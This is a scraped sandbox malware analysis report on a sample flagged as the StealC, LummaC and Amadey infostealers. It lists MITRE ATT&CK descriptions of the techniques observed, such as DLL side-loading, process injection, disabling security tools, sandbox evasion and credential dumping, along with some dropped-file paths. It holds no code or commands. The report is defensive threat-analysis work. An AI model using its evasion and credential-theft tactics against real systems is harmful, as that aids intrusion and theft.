Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report random.exe.7.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CFIEHCFIECBGCBFHIJJK

C:\ProgramData\DBKFHJEBAAEBGDGDBFBGIEBAAA

C:\ProgramData\ECAKKKKJDBKKFIEBKEHD

C:\ProgramData\EGHCBKKK

C:\ProgramData\GHIJJJEGDBFHDHJJDBAKKJJECA

Windows Analysis Report
random.exe.7.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre